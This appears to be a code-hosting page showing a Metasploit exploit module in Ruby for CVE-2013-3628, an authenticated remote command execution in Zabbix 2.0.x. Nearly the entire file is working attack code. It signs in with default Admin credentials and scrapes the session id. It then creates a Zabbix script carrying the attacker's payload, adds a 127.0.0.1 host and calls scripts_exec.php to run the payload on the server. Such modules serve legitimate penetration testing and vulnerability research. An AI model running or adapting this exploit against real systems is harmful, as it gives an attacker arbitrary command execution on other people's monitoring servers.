203 lines
5.5 KiB
Ruby
203 lines
5.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Zabbix Authenticated Remote Command Execution',
|
|
'Description' => %q{
|
|
ZABBIX allows an administrator to create scripts that will be run on hosts.
|
|
An authenticated attacker can create a script containing a payload, then a host
|
|
with an IP of 127.0.0.1 and run the arbitrary script on the ZABBIX host.
|
|
|
|
This module was tested against Zabbix v2.0.9.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2013-3628'],
|
|
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'generic perl ruby telnet python',
|
|
}
|
|
},
|
|
'Platform' => ['unix', 'linux'],
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' => [['Automatic',{}]],
|
|
'DisclosureDate' => 'Oct 30 2013',
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('USERNAME', [ true, "Username to authenticate with", 'Admin']),
|
|
OptString.new('PASSWORD', [ true, "Password to authenticate with", 'zabbix']),
|
|
OptString.new('TARGETURI', [ true, "The URI of the Zabbix installation", '/zabbix/'])
|
|
])
|
|
end
|
|
|
|
def check
|
|
init = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, "/index.php")
|
|
})
|
|
|
|
if !init or init.code != 200
|
|
vprint_error("Could not connect to server")
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
if init.body =~ /Zabbix (2\.0\.(\d)) Copyright/
|
|
if $1 >= "2.0.0" and $1 <= "2.0.8"
|
|
vprint_good("Version #{$1} is vulnerable.")
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
end
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
c = connect
|
|
|
|
req = c.request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => '/zabbix/',
|
|
'data' => "request=&name=#{datastore['USERNAME']}&password=#{datastore['PASSWORD']}&enter=Sign+in"
|
|
})
|
|
|
|
login = c.send_recv(req.to_s.sub("Host:", "Host: " << datastore["RHOST"]))
|
|
|
|
if !login or login.code != 302
|
|
fail_with(Failure::NoAccess, "Login failed")
|
|
end
|
|
|
|
sess = login.get_cookies
|
|
|
|
dash = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, '/dashboard.php'),
|
|
'cookie' => sess
|
|
})
|
|
|
|
if !dash or dash.code != 200
|
|
fail_with(Failure::UnexpectedReply, "Dashboard failed")
|
|
end
|
|
|
|
sid = ''
|
|
dash.body.each_line do |line|
|
|
if line =~ /&sid=(.{16})\">/
|
|
sid = $1
|
|
break
|
|
end
|
|
end
|
|
|
|
if sid == ''
|
|
fail_with(Failure::UnexpectedReply, "Could not get sid")
|
|
end
|
|
|
|
script_title = rand_text_alpha(18)
|
|
post = {
|
|
'sid' => sid,
|
|
'form_refresh' => 3,
|
|
'form' => 'Create+script',
|
|
'name' => script_title,
|
|
'type' => 0,
|
|
'execute_on' => 1,
|
|
'command' => payload.encoded,
|
|
'commandipmi' => '',
|
|
'description' => '',
|
|
'usrgrpid' => 0,
|
|
'groupid' => 0,
|
|
'access' => 2,
|
|
'save' => 'Save'
|
|
}
|
|
|
|
resp = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/scripts.php'),
|
|
'vars_post' => post,
|
|
'cookie' => sess
|
|
})
|
|
|
|
if !resp or resp.code != 200
|
|
fail_with(Failure::UnexpectedReply, "Error creating script")
|
|
end
|
|
|
|
script_id = ''
|
|
if resp.body =~ /scriptid=(\d{1,8})&sid=#{sid}\">#{script_title}/
|
|
script_id = $1
|
|
else
|
|
fail_with(Failure::UnexpectedReply, "Could not get the script id")
|
|
end
|
|
|
|
host = rand_text_alpha(18)
|
|
post = {
|
|
'sid' => sid,
|
|
'form_refresh' => 1,
|
|
'form' => 'Create+host',
|
|
'host' => host,
|
|
'visiblename' => host,
|
|
'groups_left' => 4,
|
|
'newgroup' => '',
|
|
'interfaces[1][isNew]' => true,
|
|
'interfaces[1][interfaceid]' => 1,
|
|
'interfaces[1][type]' => 1,
|
|
'interfaces[1][ip]' => '127.0.0.1',
|
|
'interfaces[1][dns]' => '',
|
|
'interfaces[1][useip]' => 1,
|
|
'interfaces[1][port]' => 10050,
|
|
'mainInterfaces[1]' => 1,
|
|
'proxy_hostid' => 0,
|
|
'status' => 0,
|
|
'ipmi_authtype' => -1,
|
|
'ipmi_privilege' => 2,
|
|
'ipmi_username' => '',
|
|
'ipmi_password' => '',
|
|
'macros[0][macro]' => '',
|
|
'macros[0][value]' => '',
|
|
'inventory_mode' => -1,
|
|
'save' => 'Save',
|
|
'groups[4]' => 4
|
|
}
|
|
|
|
resp = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/hosts.php'),
|
|
'vars_post' => post,
|
|
'cookie' => sess
|
|
})
|
|
|
|
if !resp or resp.code != 200
|
|
fail_with(Failure::UnexpectedReply, "Error creating new host")
|
|
end
|
|
|
|
hostid = ''
|
|
if resp.body =~ /hosts.php\?form=update&hostid=(\d{1,12})&groupid=(\d)&sid=#{sid}\">#{host}/
|
|
hostid = $1
|
|
else
|
|
fail_with(Failure::UnexpectedReply, "Could not get the host id")
|
|
end
|
|
|
|
send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, "/scripts_exec.php?execute=1&hostid=#{hostid}&scriptid=#{script_id}&sid=#{sid}"),
|
|
'cookie' => sess
|
|
})
|
|
end
|
|
end
|